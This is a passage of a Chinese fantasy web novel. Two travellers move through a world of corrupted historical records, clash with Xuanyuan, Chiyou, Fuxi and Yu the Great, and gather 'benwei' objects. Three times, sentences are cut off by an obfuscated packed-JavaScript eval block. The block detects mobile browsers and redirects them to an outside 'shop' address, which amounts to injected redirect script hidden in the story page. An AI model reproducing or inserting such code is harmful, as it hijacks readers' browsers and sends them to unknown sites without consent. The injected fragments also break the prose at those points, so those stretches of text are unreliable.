低沉的号角与震耳的鼓声回荡在山林间,还有百人齐声呐喊。赵义之和拉姆不得不丢下雪心爱的雪地摩托,徒步靠近。他们蹲在茂盛的草丛里,只露出半个脑袋远远凑热闹。 其实最开始拉姆没有打算躲藏,准备直截了当走过去,问那些人要本位,是赵义之死死抱住他的胳膊将人拦下来,做贼似的暗中观察。原因十分简单:对面人数实在太多,万一发生冲突,光是一人一巴掌就能把他们拍死。 所以得先摸摸底。 对面的氛围看上去像是某种庆典,身着兽皮的男男女女围着巨大的篝火跳舞,嘴里唱的喊的全是欢悦之辞。篝火旁架有动物的肉,已被火的高温炙烤得半熟。有人从土缸里中舀出浑浊的液体,盛入陶土杯碗里,边喝边闹,已有醉态。 不远处的帐篷中一前一后走出来两名男子,旁边的人立刻端着两碗浊酒奉上,目送他二人走向人群。歌舞声乐全停下,所有人全都面露欣喜静静看着他们,仿佛是在等一个佳音。 二人之一高举起陶碗:“即日起,吾等便以此地为国!不必再迁移!” 另一人也高举着陶碗:“以火为明,号燧明国!” 底下的人即使早已经知道这个消息,但亲耳听到首领们这般说,仍旧无比激动,纷纷喊着他们二人的名字:“帝轩辕!帝蚩尤!帝轩辕!帝蚩尤!” 轩辕与蚩尤示意大家暂且安静,继续说道:“既有国,便有主。轩辕与蚩尤已商定,以日高于顶为界,日出轩辕,日归蚩尤!” 藏在草丛的赵义之大为震撼,张着嘴呆愣许久,才颤抖地指着两位帝王,讷讷说道:“他俩不是应该在打仗吗,怎么一起建国了我去?!” “这里的记录也乱了。”沉思后,拉姆得出这个结论,“燧明国不是他们建立的。” 或许是因为那场金色的雨,让不同时空之间的记录出现混乱,所以姜尚才知道那场很久很久以前的战争,所以本该刀剑相向的对手才一同建立不属于他们的国家。 “燧明国是谁建立的?”赵义之问。 “燧人氏,风允婼。”这个人,拉姆认识。 赵义之抓抓脑袋:“不按套路走啊这。难道要挑拨他们打起来?” 拉姆站起身,直接朝那些人走去。赵义之压低嗓子喊了两声,想拦,未见效果,一转念索性也站起来跟过去。 “什么人?!” 热闹庆祝的人们停下动作,纷纷侧目来看,既好奇又警戒,将两名外来人打量了一遍又一遍。轩辕与蚩尤坐着在喝酒,此番也投来目光,静静看着他们两人在充满戾气的男人们的押解下,来到跟前。 “二位不是我们部落中人。”轩辕问得平淡,没有显露太多情绪,“你们来自哪个部族?” 赵义之脑子一转:“汉族。我身边这位……”他侧脸睇着拉姆,福至心灵,一笑,“俄罗斯族。” 蚩尤直言:“没听说过。” 轩辕捏着陶土杯的杯口轻轻晃动,缄默半晌,说道:“今日是我燧明国庆典,两位不如坐下共饮一杯,正好,也为我们做个见证。” 由两名壮汉递上来的酒,酒体浑浊浓,散发着甜甜的果香。赵义之是看见拉姆先接下酒杯才跟着伸手去拿的,举至嘴边微微沾湿双唇,用舌尖舔了一下。酒的味道难以形容,与他喝过的那几大类都不相同,又涩又甜,与“好喝”全然不沾边。 拉姆不像赵义之那般喝得谨慎,接过酒杯便仰头一饮而尽,拿手背擦擦嘴。 轩辕和蚩尤对拉姆豪爽的喝法颇为满意,脸上皆是露出笑,连说两声好,目光不约而同望向赵义之。赵义之干笑两声,低头看着杯中酒,眼睛用力一闭,倒进口中咽下。 蚩尤一拍大腿,说道:“好!畅快!再来!” 赵义之与拉姆被身穿兽皮的男人们热情地簇拥着围篝火而坐,手中的空酒杯再次被倒满浊酒。 许是气氛使然,赵义之在旁人的举杯邀饮中逐渐丢失理智,笑得东倒西歪。他身旁的拉姆不知被撞了多少回。拉姆也喝了不少,但依旧清醒没有半分醉态。 轩辕端着酒杯走过来,坐在拉姆的另一边,问道:“不知汉族和俄罗斯族在什么地方,首领是何人?” 拉姆微微侧过脸来:“不知道。” 这个答案即是意料之中,又在意料之外,轩辕的脸上闪过一丝讶异,随后竟是笑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373754|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声:“原本还有些期待你的说辞,岂料竟说‘不知道’。哈哈哈。”笑够之后,他没给拉姆说话的机会,“两位,其实是为了本位而来的吧。” “嗯。”端着酒杯的拉姆小饮一口,“你愿意给我们吗?” 轩辕面带微笑地盯着面前的篝火,入神思考片刻,说道:“拿到本位之后,这个茧房的数据就会被修正,我与蚩尤之间将再次发生战争。” 已有醉意的赵义之凑过来,趴在拉姆背上笑着对轩辕说:“你们本来就该打一架,涿鹿之战。对了,还差个神农。” 轩辕的眉头跳了一下,扭头看向蚩尤,片刻后收回目光:“在信息库里,在这个地方,我们不知战斗了多少次,只要记录还在,这一切就不会停止。但是茧房不同,在茧房里,我们终于得以休憩片刻。” 赵义之愣住,似乎有些醒了:“你是说循环?那现实中死去的人,在留下的记录中,也会……”不知何故,他的双眼泛红,“在死亡的那一刻反复循环?” “不是‘循环’,而是‘存在。’”拉姆解释道,“把时间和事物看做一条线,线上的每个点就是信息的每个瞬间。每个有涿鹿之战的点都存在,每个有轩辕和蚩尤的瞬间都存在,所以像是在不断循环。” “你把我绕糊涂了。”喝了酒,赵义之的思考能力出现了滞顿,无法理解拉姆的话。 “我不容许任何人破坏这难得的片刻安宁。”轩辕站起身,脸上的神情已见冰冷,“想要本位,除非我死。” 周围的欢声笑语随着轩辕的这句话戛然而止,上一秒还在嬉笑的人们此刻严阵以待,盯着赵义之与拉姆的一双双眼睛皆是目光如炬,面带敌意。 赵义之尚有些懵:“怎么了这是?” “若是喝酒,可以继续留下,若是要抢东西,请二位即刻离开。”轩辕的语气中充满威胁。 拉姆放下酒杯,起身正对着他:“你应该也知道,没有本位,我们就出不去。甚者,可能还有无辜的人掉进来。” 轩辕笑起来,表情却是没有温度:“好,很好。” 拽起坐在地上看戏的赵义之,拉姆指尖稍是用力。原本混沌的脑子恢复清明,只花了一秒,赵义之就弄清了当下的局势——剑拔弩张,很不妙。 拉姆朝轩辕摊开手:“本位。你真的不愿意交出来?” 轩辕冷笑一声,学拉姆说的话:“你真的不愿意放弃?” “这里交给你了。” “啥?” 拉姆丢下这句话,转身向蚩尤走去,边走边张开嘴,吐出一条黄色的龙。 哐当,赵义之手中的陶杯掉在地上,碎了。他呆若木鸡地看着从拉姆口中飞出的黄龙,脑子再次一片空白。 黄龙冲向蚩尤,被他举斧吓退,龙头一转直上云霄发出吟啸,气浪扩散震得人晕头转向。好在赵义之不是人,一个箭步冲到拉姆身边,赶在蚩尤劈斧而下时举盾挡住。盾被碎,赵义之与拉姆被战神势如破竹的威力掀翻倒地。轩辕眼睛一眯,砸了手中的碗,拔出通体雪白的兽骨剑。 四周之人闻声即动,一呼百应,拿起平日狩猎的武器,步步逼近。 赵义之的酒是被一支支刺过来的长矛吓醒的,他甩甩脑袋,塞给拉姆一把武器。 38.一场雨一朵花 赵义之追上拉姆,塞了一支臂张弩给他:“你翻脸之前能不能先通知我。” “是它等不及了。” 话音刚落,先前还是晴空万里的天光随即暗下来,厚重的乌云间电光翻涌,隐约还能看见黄色巨龙穿梭搅弄的身影。暴雨骤然降至,浇灭了象征希望的篝火。 除了戴着斗笠的赵义之稍稍好些,其他人各个都是狼狈不已。 黄龙长驱直下,躲开轩辕的白骨剑,与蚩尤正面交锋,声声吼叫堪比天雷更盛。 臂张弩是远程武器,赵义之本想遛着那些淳朴的故人,然而对手比他想象中更擅长捕猎,仍由他如何逃窜都无法突破包围,他自己反倒成了敌人的玩具。 “拉……!”他求助的急迫在看见已经被擒的拉姆后,轰然化为乌有。 凡事靠自己,是真理。 “这些只是茧房中的拟态。”拉姆淡定地说,“真正他们早在数千年前就已死亡。” 赵义之发射完后一支箭,扔掉弩:“我知道!” 他知道拉姆话里的意思,可……就像他一样,这些人和真人又有什么区别呢。 “赵义之,动手。” “你好烦!”赵义之咬咬牙,把心一狠,大喊:“枪啊!我要机关枪——!” 轰隆隆——! 天雷落下,劈中了赵义之。 他吐出一口带焦味的乌烟:“对不住了。” 头上的斗笠变成黑灰落到地上,他怀中端着一把枪,肩上挂满弹夹,像独身一人在战场上杀敌的英雄,用一条命,换最后的酣畅淋漓。 然而,周围并没有枪林弹雨和硝烟四起,那些远古人手拿最粗糙的冷兵器,尚未对赵义之造成任何实质伤害,就逐一倒在泥泞中,反倒衬得赵义之像灭世的活阎王,没有半点慈悲。 只幸好赵义之没准头,子弹大都偏了。可又不幸他没准头,让中弹的人要吃尽苦头活受罪。 赵义之一抹脸上的雨水,步步逼近抓住拉姆的两人,脸上挂着大反派一般的阴鸷笑容:“放了他,交出本位,饶你们不死。” 蚩尤冷哼一声,转身朝山中大步跑去。 “不好,本位要跑!”赵义之大喊。 不等他们追过去,蚩尤便将手中的斧头用力甩向山体,随后梗着脖子用头上的角撞上斧头坎出的裂缝。 嘣—— 巨响过后,是鸟兽逃走的骚乱,与岩石滚落的震动。山峰拦腰折断,倒塌下来。山峰上的雪如滚滚海浪扑涌而下,竟是盖过了纷飞的落石,避云遮天崩塌倾泻。唯一未被雪潮淹没的是那滚落的山巅,即使在冲撞中不断解体,也依旧庞大。 赵义之目瞪口呆,指着正朝着他们此处飞速下坠的山体与雪,不住颤抖:“有这个必要吗?” 拉姆抬头面朝坠落的山峰:“他不想让我们拿到本位。” “那也不至于突然撞死……”赵义之猛地想起来,顿时颇为无语,“再说,撞山的那是共工。” 满地哀嚎的伤者即使只能在地面爬行,也拼命往前挪,一刻不敢耽搁。轩辕扔下心爱的白骨剑,扶起两名无法移动的伤者,逃往山体掉落的范围之外。他的眼睛只看着前方,和拉姆擦身而过时,也没有再看他一眼。 分秒之间,在山体砸下的同时,厚厚的雪潮涌过,推平了这片土地。人也好花草也好,全都被淹没。 赵义之静静躺在雪层之内,闭着眼,想象中的窒息感并没有来临,他反而感到有几分难得的平静。时间、空间都不存在,甚至连他自己,或许同样不存在。 存在的,只是虚无里的一缕浮尘。 身上的每一块肌肉都因寒冷而变得僵硬麻木,他却没有因此产生任何不适。就这么躺到消失也没什么,赵义之心想。 啊……他想起来了,五年前的那场车祸其实不全是意外事故。 “哈哈……”赵义之觉得好笑。 压在他身上的雪有了些许松动——有人在挖。身上的重量逐渐减轻,而后,他的脸上拂过一阵微风,暖暖的,有太阳的味道。 “赵义之。”有人在咫尺的地方叫他,声音清透。 赵义之堪堪睁开双眼,映入他瞳眸的,是他熟悉的拉姆的脸。 拉姆拂开赵义之身上的残雪,将他挖出来:“为什么不躲?” “没来得及。”赵义之坐起来,四下张望一眼,“燧明国的人……?” “逃了一些,埋了一些。”拉姆蹲在赵义之身旁。 “那本位呢?” 拉姆不紧不慢站起来:“黄龙。” 回应拉姆呼唤的黄龙来到他身边,拉姆抓住龙鳞翻身骑坐在龙背上,追着下滚而去的山体。几乎是分秒之间,黄龙硬着脖子,如飞箭一般撞穿过去,山在夹着雪花的雨水中崩碎成无数尘土。 混合尘土的雨雪变成泥浆,掉下来,将地面的人全淋成了泥潭里撒欢的狗。 天上的拉姆和黄龙等到雨水清澈了,才返回地面。黄龙缩小身形盘在半空,眯着眼睛在打盹。 “本位。”拉姆对黄龙摊开手掌。 黄龙睁开一只眼,将蚩尤的角抛过去:“许久不见,竟还是这么冷漠。” 拉姆稳稳接住,顿了顿,才说:“谢谢。” 雨停了,日光剖开乌云一缕一缕洒下来,竟是在天边挂起美丽的虹环。 黄龙重新舒展身体:“只要你还记得我们之间的誓言,我就永远会帮你。”说完这句话,它的身影渐渐变得透明,直至完全消失。 拉姆松开手掌,手中的角落在地上,迅速扎根发芽,长成一棵参天巨树,枝叶繁茂。每一片叶子,都是一缕燃烧的火焰,宛如深秋的红枫,稍稍丁点气流就摇摆不已,实在好看。 “你和龙发了什么誓?”赵义之也听见了黄龙的话,一边弄干自己和拉姆身上的衣物,一边假装不经意地问。 “不能说。” “行吧。”赵义之承认自己有点好奇。 有点而已。 拉姆自顾自继续说:“它叫应龙。” “猜到了。下次你又要被绑的时候,早点叫应龙出来,这么强的队友不用白不用。”说完他陡然一顿,凑近拉姆小声问,“我这么说它听不见吧?” “应龙大多数时候在睡觉,出来帮忙的条件很苛刻。”拉姆看不见赵义之脸上稍纵即逝的失望,“这次出来,是因为蚩尤。” “黄帝大战蚩尤,最后是应龙把蚩尤解决的。结果在这里,蚩尤是撞山死的,呵。” “是我杀的。” “你?!”赵义之惊讶得连咬字都变得更重了。 拉姆云淡风轻地点点头,好似自己杀蚩尤是举手那般简单。但赵义之不信,紧紧盯着他上下反复打量,充满质疑。 “你杀了蚩尤?” 拉姆想起自己“杀”阴女时赵义之过激的反应,解释道:“他是信息的拟态,而且是记录错乱下产生的拟态。茧房中发生的一切,不会影响到真实世界。” “我知道,我只是惊讶你居然能杀了他。” “你不生气?” 赵义之摇头,随后意味深长地说:“你还真是让我一惊一惊又一惊。” 正要说话的拉姆突然一愣:“趴——” 他的嘴一开一合在说什么,却没有任何声音。 不止如此,风声也好、虫鸣也好,全都同时静止了,周围仿佛在刹那间掉入真空世界,没有一丁点响动。 赵义之愣愣看着拉姆朝自己扑过来,拧着眉,表情终于不再是平日里的冷淡,他抱着赵义之一同倒在地上。摔倒的疼痛刚袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377191|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,身体下一刻感受到的,是一阵排山倒海的能量冲击,几乎震断骨头敲碎五脏六腑。 能量化作肉眼可见的风暴向外扩散,只一浪,就夺走方圆五十里的所有生命。赵义之的拟态有幸没被冲散,全得益于拉姆用自己的身体将他护住。 尽管如此,赵义之仍是费了番功夫才重新稳定,找回自己的思绪。 “拉姆?”他低头看向趴在自己胸口的拉姆,推了推,“拉姆?” 拉姆双眼紧闭,七窍慢慢流出血。 “拉姆!”赵义之慌乱地坐起来,眼睛无意间看见远处——那里有一朵冉冉升空的耀眼蘑菇云。 蛤? 核弹? “真是绝了。”赵义之让软得如一滩烂泥的拉姆平躺在地上,翻来覆去检查。拉姆除了七窍渗出血以外,倒是没有别的伤,连衣服都还好端端的。 可这恰巧说明拉姆的伤在内,并不是件好事。 “你可千万别有什么事,不然我只能想办法弄死赵义之给你陪葬了。”赵义之不敢乱动,唯有寄希望于拉姆的不死之身。 约莫过去半小时,拉姆沉寂的睫毛终于微微抖动,缓缓睁开眼,发出一声闷哼。 “你恢复好了?”听见声音的赵义之低俯下身,想从拉姆的表情中读取些许他此时的状态,“感觉怎么样?手脚能动吗?” 拉姆颤颤巍巍抬起一只手,代替回答。 吊在头顶的心这才落回身体里,赵义之长舒口气:“再休息一会儿吧。” 这半小时,人与神的战争因为那颗核弹愈演愈烈,绽放的云花好似海岸边的缢蛏,一个接一个往外冒,能量风暴此起彼伏。为了躲避,也为了让拉姆更好地静养,赵义之构建出一间十平方米的地下避难所。 当然,等待拉姆苏醒的时间里他并没有闲着,而是在尝试构建一架空天战机。 可惜的是,他失败了。 空天战机的动能是核变,裂变也好,聚变也罢,都不是单凭他的想象能实现的。 久躺不动的拉姆终于翻个身,双臂趁着地板爬起来:“这里很安全,你留下来,我去拿下一个本位。” 盘腿坐在地板上的赵义之定定看着拉姆站起身,问:“如果我和你签订了契约,是不是就不怕被其他能量震碎了?” “嗯。” “快去吧,我等你好消息。”赵义之挥挥手。 拉姆迟疑两秒:“我还以为你会吵着一起去。” 赵义之笑出声来:“为什么,去给你增加难度吗?” “不会太久。”留下这句话,拉姆就打开敦厚的金属门,走出去。 顶着足以摧毁整座城市的核风暴,拉姆步履沉稳,慢慢朝中心走去。撕裂旷野的冲击波在他身上丝毫留不下痕迹,甚至是最脆弱的发丝也不过飞扬得凌乱了一些,没有半点损伤。 如今置身这般境况,已经不是头一回了,他见过远比眼前更惨烈的景象,即使刻意遗忘,也会在午夜梦回时将他惊醒的景象。 那是一场噩梦。 而眼前,又怎么不算是噩梦的延续呢。 “诺恩,好久不见。” 滚滚黑烟散去,逐渐显露出巨大的身影,红发褐眼白肤色,是他的挚友。 诺恩惊讶的眼中浮现出欣喜与悲伤:“拉姆!” 眼神交汇的那一刻,诺恩瞬间便明白了。 “对不起,当初说好绝不会抛下你的。” “没关系,不管花多少时间,我一定会找到你和亚森的遗骨。” 满身伤痕的诺恩面对飞来的无数炮弹,从未示弱,却在听见拉姆这句话后,流下眼泪。他红色的头发鲜艳得像一面战旗,飘于空中久久不败。 “我相信你,拉姆,我和亚森永远忠于你,至死不渝。” 39.可怜河边骨 这并不是拉姆第一次亲身经历战争,也不会是最后一次。 一把巨剑深入泥土里,巍峨若峰。拉姆站在剑格上,面朝天际悬停的“云船”,静待掀起风暴的炸弹落下。 “还是被他找到了。”拉姆低声呢喃。 其实拉姆并非不擅长打架,而是他用来攻击的招数实在太狠,谁也防不住,谁也躲不开。所以即便只是信息的拟态,只要是生命,他就绝不用那些招来对付。这是在参与过那次战争、被自己最亲近的人所惧怕后,他自行决定的。 不过炸弹非活物,可以用。 拉姆缓缓抬手在身前一挥,他面前凭空出现无数微如尘埃的黑点,拧着周围的能量,隐隐出现漩涡的趋势。 “要落下来了。”诺恩站起身,抬头望着空中的几艘云船,“我来牵制那些云船。” “好。” 云船的腹部撕开好几处,宛如天劫一般的炸弹朝诺恩飞来。 诺恩已是伤痕累累,连番轰炸早已让他精疲力竭,本想拼着最后的力气再斩落一两艘云船的,谁会想到拉姆竟然出现了。这让他又想起最初的时光,以及逼得他们逃离家乡的那场灭顶之灾。 黑色尘埃不再需要拉姆的指示,笔直迎上去,在相撞的瞬间吞掉了核弹。 除了拉姆与诺恩,没人知道究竟发生了什么。云船舰桥上的人只能看见飞向巨人的炸弹凭空消失,不禁发出惊呼。 “是他。”母船上的姜尚不由得钻进拳头,“我在雪山上见过他。” 坐在主位上的男人翘着二郎腿,手肘靠在金属扶手上,撑着脑袋,眼睛直勾勾盯着屏幕上放大的脸:“不必回应他,矛头依旧对准巨人。” 各个云船接到指令,再次打开投放装置。 弹药缓缓出舱,在即将进入轨道时与拉姆的黑点相遇,刹那间被吞没。 诺恩刚要笑,就不停咳嗽起来:“咳咳咳……咳看见噬无,我才真真切切感受到,咳咳你就在我身边。” 拉姆的手摸上诺恩的粗壮的手指,一边治愈一遍说道:“不能再继续了。对方的首领在哪艘船内?” “好像是那艘。”诺恩伸手指着最高处的云船,“那艘是母船。” “知道了。”拉姆留下数十个小黑点,在身前拧出一个光圆。 拉姆抬脚走进去,几步之间就出现在诺恩手指的云船底部。他在云船上开了个洞,径直走进去。 船上的洞在他身后又自行合上了。 云船之中,首座上的男子人身蛇尾,对凭空出现的拉姆只略有讶异,便很快恢复神情。 姜尚与其他人确实大为震诧:“你是如何进来的?!” 卫兵接到警报立刻涌入,端着枪炮将拉姆围在中间。 “都退下。”首座上的男子挥挥手,遣退了卫兵。 卫兵收起武器后退几步,并没有退出舰桥。 “仲父竟还是一点没变。”男子这句话,令舰桥中响起了窃窃私语。 “莫非我听错了,首领称他为仲父?” “可看年纪,首领似乎比他还年长几岁。” “首领——”姜尚的话被男人抬手制止。 男人放下手,继续对拉姆说:“仲父已经不记得我了吗?” 拉姆闻声转头,面向男人沉思片刻:“你是风伏羲?你长大了。” “仲父却仍如我儿时所见。”风伏羲撑着脑袋,歪头仔细打量拉姆片刻,脸上的表情未显露任何情绪,“天火弹凭空消失,仲父的把戏?” “是。我希望你们能停止战争。” “若我说‘不’呢?” 拉姆从怀中拿出石棺里找来的鬼面,举到自己脸前:“你还记得这个面具吗?” 风伏羲被冻住的表情终于出现些许松动,他缓缓站起身,盘绕的蛇尾顷刻蜕皮变成双足,从首座上走下来,拿过那张鬼面用指尖仔细摩挲,一时间竟是说不出话来。 “除了阻止战争,我来还有一件事。我要你身上的本位。” “本位?”风伏羲的眼中闪过一丝诧异,随后变得些许落寞,“原来如此……难怪始终有异样的感觉。” “战争根本没有意义。” 风伏羲苦笑了一下,拿出一块叠好的兽皮,递给拉姆:“仲父口中的本位,是此物?” 拉接过风伏羲递来的兽皮,展于眼前,上面画着八卦最早的雏形。兽皮在拉姆手中倏地化作一团火焰,熊熊而烬。风伏羲怔怔看着拉姆空空如也的双手,才勉强接受自己只是幻影的事实。 “哈哈哈哈!原来如此,原来如此。仲父说得不错,根本……没有意义。”风伏羲转身颓然朝首座走去,步履已无先前的稳健,“多谢仲父代我寻回魈头。”他转身坐下时,鬼面已然戴在脸上,“此魈头,还是儿时父相赠的。” 拉姆走过去,抚上风伏羲的脑袋,揉了揉:“伏羲,战争早就结束了。好好休息。” “首领,不可听他胡言乱语!”姜尚拔高嗓音喊道。 “是你。”拉姆终于注重到姜尚的存在,他困惑地蹙起眉,“交出本位时,你应该已经知道真相了,为什么……” 姜尚看了看风伏羲:“若无目标,我们的存在又算什么?所有人听令!杀了巨人!” 舰桥中的操纵人员见风伏羲没有反对,便下达了投放的指令。 下一刻,船体全部消失。 失去落脚处的人们被恰到好处的气流托举,附在半空没有下坠。许多人吓得惨叫一声,腿软跪倒,身体被风吹得瑟瑟发抖。 “你做了什么?!”姜尚大声质问。 拉姆同样浮在空中,迎风而立:“回去吧,战争没有意义。” “你!” “云船和武器都没有了,就连此时我们还未坠亡,都依托于仲父的怜惜。”风伏羲长叹一声,“是吾等输了。” “回去吧。”拉姆扬起手臂,轻轻一扇。 温柔的风卷着他们,吹向远方。 天空经过片刻的烟消云散后,一碧如洗,乃至诺恩眺望远处的眼睛不由得微微眯起。拉姆顺风而下,宛如一片落叶停在剑格上。诺恩挂起纯净的笑脸,仿佛伤害从未降临在他身上,仿佛累累伤痕不过是从骨头里开出的娇艳鲜花。他的头发红得依旧耀眼,像一道路标,永远指引着迷路的人。 “本位拿到了?”诺恩面带微笑。 “拿到了。”拉姆神色淡然。 “还有时间陪我坐坐吗?” “不能太久。” “嗯。”诺恩坐在荒土地上,身边是入土半截的剑,“足够了。” 拉姆索性在剑格上坐下来 “眼睛,什么时候开始看不见的?” “很久了。” “刚才看见你眼睛的时候吓了我一跳,没有什么东西能伤害你的身体,除了你自己……可以告诉我原因吗?” “是赎罪。”拉姆也牵起一个笑,“因为我的存在,引起了不必要的悲剧。” 诺恩认真地听拉姆讲述着那段经历,始终一言不发。知道拉姆停下来,他才像是宽慰一般说道:“无论你做什么决定,我和亚森永远站在你身后。” “诺恩——” “如果见到亚森,帮我问个好。”诺恩故意打断拉姆,“我那个弟弟,说不定也躲在那个茧房里,等着和你重逢。” 拉姆顿了片刻,才回应:“我会替你转告的。” 诺恩最后一次抚摸自己的武器:“这把剑就是你要找的本位。拿去吧。” 他话音落下,巨大的宝剑便融化为一湾水,蜿蜒流入黄河。 “我该走了。”仍旧凌空而立的拉姆平静地说完,转身要离开。 “拉姆。” 诺恩叫住他。 “要保重。” 拉姆沉默许久,才应声:“嗯。” “本位拿到了?” 还隔着有些距离,赵义之就提高音量远远的和拉姆打招呼。 独自等待闲来无事的这段时间,赵义之多番尝试总算构建出了一辆越野车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382115|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此刻他正坐在越野车的引擎盖上,换了黑色束脚工装裤,戴着遮阳的护目镜,嘴里叼根荔枝味的棒棒糖。 拉姆不疾不徐地走过来:“拿到两个。” “来瞧瞧我弄出来的车。”赵义之跳下来,抓过拉姆的手放在引擎盖上让他摸,露出一副小得意的嘴脸,“怎么样,厉害吧?” “继续往北走。”拉姆轻车熟路坐上副驾,扣好安全带。 赵义之跳上车,左手关门右手挂挡:“行,都听你的。” 快到黄河时,车被逼停了,轮胎陷在吸饱水的泥浆里空转。目之所及是滔滔河水冲垮堤岸,原本行之有道的黄河像张摊开的大饼,一下子便泛滥了。 拉姆解开安全带想下车,被赵义之伸手阻止:“听说过水陆两用车吧?” 两侧前后轮之间各覆盖上一条履带,飞速转动几圈就轻轻松松脱离稀泥沼泽继续朝黄河开去,即使拉姆下一句话说要横渡怒涛汹涌的黄河,赵义之也能勾起嘴角让他放好心。 泛滥的黄河犹似发了狂,誓要吞下两岸平原才作罢的样子,再也看不见任何陆地了。他们的两栖车俨然成了海上孤帆,进退无路。 赵义之按下车窗弹出脑袋:“这是涨潮……发洪水了?” 听见“洪水”二字的拉姆下意识紧了紧手指,眼帘微垂。 “水里好像有颗人头。”赵义之十分淡定地说。 远远的,浑浊的滔滔河面上,浮着半颗年轻男人的脑袋,鼻子以下没在水中,正目光炯炯地盯着这辆车。赵义之也不见外,打开车门半个身子探出去,高挥手臂和他打招呼。 “你该不会就是那谁河伯吧?” 男人朝他们游过来,停在驾驶座门外,总算露出完整的脑袋,模样说不上特别好看。 “我怎么记得河伯长得挺帅的啊。”赵义之嘀咕。 男人看看赵义之,又歪头看看拉姆,甚是不解:“今年怎地送来两男子。” 赵义之依旧笑着和他寒暄:“兄弟怎么称呼啊?” 男子思索一番,道:“可唤我文命。” 赵义之皱皱眉头,不认识,于是回头悄声问拉姆:“谁啊?” “禹。”拉姆简短回答。 “大禹?!”赵义之差点破音,“是我知道的那个大禹吗?” “应该。” “你二人谁是我娘子?”泡在河水中露出肩膀的文命问道,似乎认定车里坐着的,是今年送给他的新娘。 赵义之慢慢转头看向他,皱眉抿嘴,表情说不出的古怪:“有没有可能,我们都不是?你看清楚。”他身体往后靠,好让门外的文命能看见拉姆,“我、他,男的,男得很彻底。” 显然文命也因眼前的情况而有所为难,他低头思忖半晌,重重叹口气:“依约,只需嫁一位娘子来,如今嫁来两位,却是叫我犯了难。同迎二妻并非不可,只是……与约有违。” “你在说啥……”赵义之听得愣了。 “罢了。”文命万般无奈,“既已送来,我便同娶你二人。” “你还是去治水吧。”赵义之“砰”的一声关上车门。离谱二字他已经不想再说。 文命从水中跃出跳上引擎盖,调转方向面朝车内蹲下身,透过挡风玻璃看着他们:“娘子,随我回家。” 赵义之忽然对文明笑了,格外有亲和力,然后他举起一把手枪对准车外的文命,勾下扳机射中他胸口,干脆利落。 男人裹在衣袍中的身体因冲击而向后倒去,掉进河中。 随后车身猛地一震,竟是整个被抬起来,在空中翻转,重重掉回黄河里。巨大的震动伴随着摇晃,即使系着安全带,也让受到撞击的赵义之有数分钟的失神。河水从车窗疯狂灌入,几个呼吸间便挤走空气,拽着车往下沉。 最先反应过来的是拉姆,他解开安全带逃离车内,游到驾驶室旁拉开车门,将赵义之拖出来。 混浊的河水令视线受阻,所以当赵义之看见迅速游来的文命时,一切都已经来不及了。 40.一条大河 文命拖着赵义之和拉姆沉入河底,大有要淹死他们的气势。先前打在他胸口的一枪已然愈合,只留下小小的疤,不曾危及他性命。 赵义之竭尽全力从文命的臂弯中挣脱,正打算去帮拉姆,却在看见文命下半身的鱼尾后一怔,错失良机,又被钳住。锢制他的力气比刚才大得多,化身人鱼的文命游得也更快了,来到河底拉出一根碗口粗的铁链,咔咔两声将赵义之给锁住。 他锁赵义之时没空管拉姆,拉姆便在一旁静静地排队。赵义之不奢望拉姆反抗,却也没料到他比幼儿园排队打饭的小朋友还听话,简直荒谬。 赵义之气笑了。 “除非你告诉我你已经有后招了,不然别怪我喷你。” 拉姆的反应有些木讷:“他的下半身……是不是鱼尾?” 尽管眼睛看不见,可拉姆向来心若明镜,仅凭感觉便能获取许多信息,甚至比用眼观世界的人都知晓得多。所以赵义之从不认为他看不见。 “上半身是人,下半身是鱼。”赵义之紧张地看着拉姆,“怎么了?有问题?” 不就是美人鱼吗,赵义之心想,他连龙都见过,美人鱼算什么。 同样被铁链锁起的拉姆面朝文命游走的身影,呆呆摇头。 锁住他们手腕的铁链突然被拽动,赵义之扭头看了眼拉姆,知道不是他,便与铁链另一端开始拔河。只是另一端的力气显然更大,左右两个来回后,伴随着铁链摩擦河底礁石的哗啦声,竟是慢慢将赵义之与拉姆两个人同时拽过去。 “你别摆烂!”赵义之对拉姆喊,他还在做最后的挣扎,“使劲啊!” 在赵义之的不懈努力下,拉姆终于有了反应——他丢下赵义之,朝铁链另一端游去。赵义之来不及阻止,独自抵抗片刻后也不得不放弃,借着河床用力一蹬,追在拉姆身后。 铁链的另一端缠绕在巨大的镇河柱上,石柱深深埋于河床底,连铁链也顺势往下不见端头。想拔出来是不可能的,要挖下去也难于登天。可就是河床底下传来动静,拖得铁链一节一节往下沉。 赵义之看看站在石柱旁低头不知在想什么的拉姆,又看看下沉的铁链,大抵猜出拉姆的心思:“下面有本位?” 